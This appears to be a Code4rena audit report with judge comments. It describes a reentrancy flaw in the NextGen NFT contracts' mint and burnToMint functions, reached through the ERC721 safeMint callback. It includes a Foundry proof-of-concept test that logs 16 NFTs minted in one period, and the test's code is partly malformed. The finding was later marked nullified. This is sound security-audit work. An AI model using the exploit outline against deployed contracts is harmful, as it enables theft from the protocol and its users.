The protocol is susceptible to reentrancy attacks.

[captainmangoC4]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L231

Vulnerability details

Reentrancy is a well know bug in smart contract and the protocol is not handling it, The safeMint function in ERC721 make a callback to the receiver checking if they can hold a nft, this can be used to a receiver to take control of the execution of the call. in this cases a malicius receiver can use this reentrancy problem to abuse the protocol in the following ways:

file:/2023-10-nextgen/smart-contracts/MinterContract.sol

    function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) public payable {
        ...
        for(uint256 i = 0; i < _numberOfTokens; i++) {
            uint256 mintIndex = gencore.viewTokensIndexMin(col) + gencore.viewCirSupply(col);
      -->   gencore.mint(mintIndex, mintingAddress, _mintTo, tokData, _saltfun_o, col, phase); //@audit minting
        }
        collectionTotalAmount[col] = collectionTotalAmount[col] + msg.value;
        // control mechanism for sale option 3
        if (collectionPhases[col].salesOption == 3) {
            uint timeOfLastMint;
            if (lastMintDate[col] == 0) {
                // for public sale set the allowlist the same time as publicsale
                timeOfLastMint = collectionPhases[col].allowlistStartTime - collectionPhases[col].timePeriod;
            } else {
                timeOfLastMint =  lastMintDate[col];
            }
            // uint calculates if period has passed in order to allow minting
            uint tDiff = (block.timestamp - timeOfLastMint) / collectionPhases[col].timePeriod;
            // users are able to mint after a day passes
            require(tDiff>=1 && _numberOfTokens == 1, "1 mint/period");
            lastMintDate[col] = collectionPhases[col].allowlistStartTime + (collectionPhases[col].timePeriod * (gencore.viewCirSupply(col) - 1));
        }
    }

[Link]

function mint(uint256 mintIndex, address _mintingAddress , address _mintTo, string memory _tokenData, uint256 _saltfun_o, uint256 _collectionID, uint256 phase) external {
            ...
            _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
            ...
    }

    function _mintProcessing(uint256 _mintIndex, address _recipient, string memory _tokenData, uint256 _collectionID, uint256 _saltfun_o) internal {
       ...
        _safeMint(_recipient, _mintIndex);
    }

[Link] [Link]

In this case Malicious receiver can abuse of the reentrancy problem to mint more than 1 nft for period without increment the price of Nft if the saleOption == 3 (see proof of concep).

Another problem if a Malicious receiver can mint several nft with just one nft passes if it is burn to mint collection:

file:/2023-10-nextgen/smart-contracts/NextGenCore.sol
function burnToMint(uint256 mintIndex, uint256 _burnCollectionID, uint256 _tokenId, uint256 _mintCollectionID, uint256 _saltfun_o, address burner) external {
            ...
            _mintProcessing(mintIndex, ownerOf(_tokenId), tokenData[_tokenId], _mintCollectionID, _saltfun_o);
            // burn token
            _burn(_tokenId);
            burnAmount[_burnCollectionID] = burnAmount[_burnCollectionID] + 1;
        }
    }

[Link]

Minting before burning can allow a malicius receiver to reenter in the contract and burn just one passes and mint several nft.

Impact

Users can mint more than 1 token per period if burnToMint collection or burnOrSwapExternalToMint collection is in salesOption == 3 at the same Price. User can burn one nft mint passes and mint several nft. Other reentrancy problems.

Proof of Concept

(https://gist.github.com/jorgect207/5731a1bdf59786930178ee580eed3448) The three files in the gist have to be copied in the test file of the nextgen repository and have to install foundry in the hardhat repository Run the following test in the TestFoundry.sol:

 function test_mintingMoreThanOneOption3() public {
         function test_reentrancy() public {
        test_createCollectionAndSetData(); // set collection data
        bytes32[] memory merkleProof = new bytes32[](1);
        merkleProof[0] = 0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870;

        // vm.deal(address(_AttackerContract), 100 ether);

        address(_AttackerContract).call{value: 20 ether}(""); // fund malicius receiver
        vm.warp(block.timestamp + 1 days + 600);
        vm.startPrank(address(_AttackerContract));
        _AttackerContract.mint(); // mint, the attacker contract is implementing a the  logic for the callback function.

        vm.stopPrank();

        uint256 balance = _NextGenCore.balanceOf(address(_AttackerContract));

        console.log("balance: ", balance);

    }

see the Logs:

Logs: balance: 16

User can mint 16 nft in the same period without pay what he should pay.

Tools Used

foundry, manual

Recommended Mitigation Steps

Implement reentracy guard from oppenzepeling in the importan functions of the protocol to prevent reentrancy problems

Assessed type

Other

[captainmangoC4]

Issue created on behalf of judge in order to split into 2 findings

[alex-ppg]

I incorrectly labelled this submission to be split and as such will proceed to nullify it.

[c4-judge]

alex-ppg marked the issue as nullified

[c4-judge]

alex-ppg marked the issue as not nullified

[c4-judge]

alex-ppg marked the issue as nullified